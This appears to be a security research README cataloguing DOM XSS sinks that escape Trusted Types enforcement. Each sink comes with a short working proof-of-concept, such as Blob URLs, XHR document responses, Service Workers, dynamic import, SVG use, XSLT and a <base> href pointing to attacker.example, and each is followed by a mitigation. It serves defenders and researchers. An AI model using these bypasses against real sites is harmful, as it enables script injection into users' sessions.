This repo contains list of DOM-based XSS sinks which are not subject to Trusted Types checks. Contributions welcome! 😊
Trusted Types enforced on a document will be inherited to Blob URL when navigating to Blob URL. However, resulting document of the Blob URL contains stored XSS payload, and therefore it bypasses Trusted Types check.
PoC:
let attackerControlledString = '<img src=x onerror=alert(origin)>';
const blob = new Blob([attackerControlledString], {type: 'text/html'});
const url = URL.createObjectURL(blob);
location.href = url;
- Enforce Strict CSP.
- There is a discussion to provide an option for creating a secure Blob URL.
XMLHttpRequest (XHR) supports document
response type, which returns parsed document of XHR response instead of text.
PoC:
let attackerControlledString = 'data:text/html,<img id=content src=x onerror=alert(origin)>';
const xhr = new XMLHttpRequest();
xhr.onload = function() {
document.body.appendChild(this.response.querySelector('#content'));
}
xhr.open("GET", attackerControlledString);
// The following changes response type from text to parsed document.
xhr.responseType = "document";
xhr.send();
- Enforce Strict CSP.
- Only allow trusted endpoints in CSP connect-src.
Response API can be used in several places to serve a response of a request through Service Worker. If the Response is generated from user input, this could result in Trusted Types bypasses.
PoC:
self.addEventListener('fetch', event => {
const params = new URLSearchParams(event.request.url.split('?')[1]);
let attackerControlledString = params.get('attackerControlledString');
if (attackerControlledString) {
init = {
headers: {
'Content-Type': 'text/html',
'Content-Security-Policy': "require-trusted-types-for 'script'; trusted-types 'none';"
}
};
event.respondWith(new Response(attackerControlledString, init));
}
});
// Assuming legit service worker returns cached content.
caches.open("v1").then(cache => {
let attackerControlledString = '<img src=x onerror=alert(origin)>';
init = {
headers: {
'Content-Type': 'text/html',
'Content-Security-Policy': "require-trusted-types-for 'script'; trusted-types 'none';"
}
};
cache.put('xss', new Response(attackerControlledString, init));
})
- Enforce Strict CSP.
Non-DOM API based script loading currently bypasses Trusted Types.
PoC:
let attackerControlledString = 'data:application/javascript,alert(origin)';
import(attackerControlledString);
- Enforce Strict CSP + serve allow-list of script endpoints in another
script-src
directive.
SVG <use>
element takes href
attribute, which can import an external SVG image from given URL. This currently bypasses Trusted Types check. This was found by Masato.
PoC:
let attackerControlledString =
`data:image/svg+xml,
<svg id="x" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink">
<image href="x" onerror="alert(origin)" />
</svg>#x`;
const svg = document.createElementNS('http://www.w3.org/2000/svg', 'svg');
const use = document.createElementNS('http://www.w3.org/2000/svg', 'use');
use.setAttributeNS('http://www.w3.org/1999/xlink', 'href', attackerControlledString);
svg.appendChild(use);
document.body.appendChild(svg);
- Enforce Strict CSP.
- This is likely to be fixed in the future (reference).
document.createProcessingInstruction
can create processing instruction node from given URL and content type. This node can be inserted to a document which is valid as XML. Currently there is no Trusted Types check on document.createProcessingInstruction
. This was found by Masato.
PoC:
/*
<?xml version="1.0" encoding="UTF-8"?>
<xsl:stylesheet xmlns:xsl="http://www.w3.org/1999/XSL/Transform" version="1.0">
<xsl:output method="html" />
<xsl:template match="/">
<script>alert(origin)</script>
</xsl:template>
</xsl:stylesheet>
*/
let attackerControlledString = 'data:text/xml;base64,PD94bWwgdmVyc2lvbj0iMS4wIiBlbmNvZGluZz0iVVRGLTgiPz4KPHhzbDpzdHlsZXNoZWV0IHhtbG5zOnhzbD0iaHR0cDovL3d3dy53My5vcmcvMTk5OS9YU0wvVHJhbnNmb3JtIiB2ZXJzaW9uPSIxLjAiPgogIDx4c2w6b3V0cHV0IG1ldGhvZD0iaHRtbCIgLz4KICA8eHNsOnRlbXBsYXRlIG1hdGNoPSIvIj4KICAgIDxzY3JpcHQ+YWxlcnQob3JpZ2luKTwvc2NyaXB0PgogIDwveHNsOnRlbXBsYXRlPgo8L3hzbDpzdHlsZXNoZWV0Pg==';
const pi = document.createProcessingInstruction('xml-stylesheet', `href='${attackerControlledString}' type='text/xml'`);
document.insertBefore(pi, document.firstChild);
- Enforce Strict CSP.
Some elements in XSLT supports disable-output-escaping
attribute (such as <xsl:text>
and <xsl:value-of>
). When disable-output-escaping
is set to yes
, escaping of HTML special characters will be disabled (and therefore XSS will be triggered). Currently, Trusted Types is bypassible in this case. This was found by Alex.
PoC:
let attackerControlledString = '<img src=x onerror=alert(origin)>';
const doc = document.implementation.createHTMLDocument();
const xslt = document.createElementNS('http://www.w3.org/1999/XSL/Transform', 'xsl:stylesheet');
xslt.setAttribute('xmlns:xsl', 'http://www.w3.org/1999/XSL/Transform');
const template = document.createElementNS('http://www.w3.org/1999/XSL/Transform', 'xsl:template');
template.setAttribute('match', '/');
const output = document.createElementNS('http://www.w3.org/1999/XSL/Transform', 'xsl:output');
output.setAttribute('method', 'html');
xslt.appendChild(output);
const text = document.createElementNS('http://www.w3.org/1999/XSL/Transform', 'xsl:text');
text.textContent = attackerControlledString;
text.setAttribute('disable-output-escaping', 'yes');
template.appendChild(text);
xslt.appendChild(template);
const processor = new XSLTProcessor();
processor.importStylesheet(xslt);
const fragment = processor.transformToFragment(doc, document);
document.body.appendChild(fragment);
- Enforce Strict CSP.
<base>
element takes href
attribute, which is used to resolve any relative URLs in the document. This currently bypasses Trusted Types check. This was found by Masato.
PoC:
<script>
let attackerControlledString = 'https://attacker.example/';
const base = document.createElement('base');
base.href = attackerControlledString;
document.head.appendChild(base);
</script>
<!-- Legitimate script loading -->
<script src="/foo.js"></script>
- Enforce Strict CSP (i.e.
base-uri 'self'
).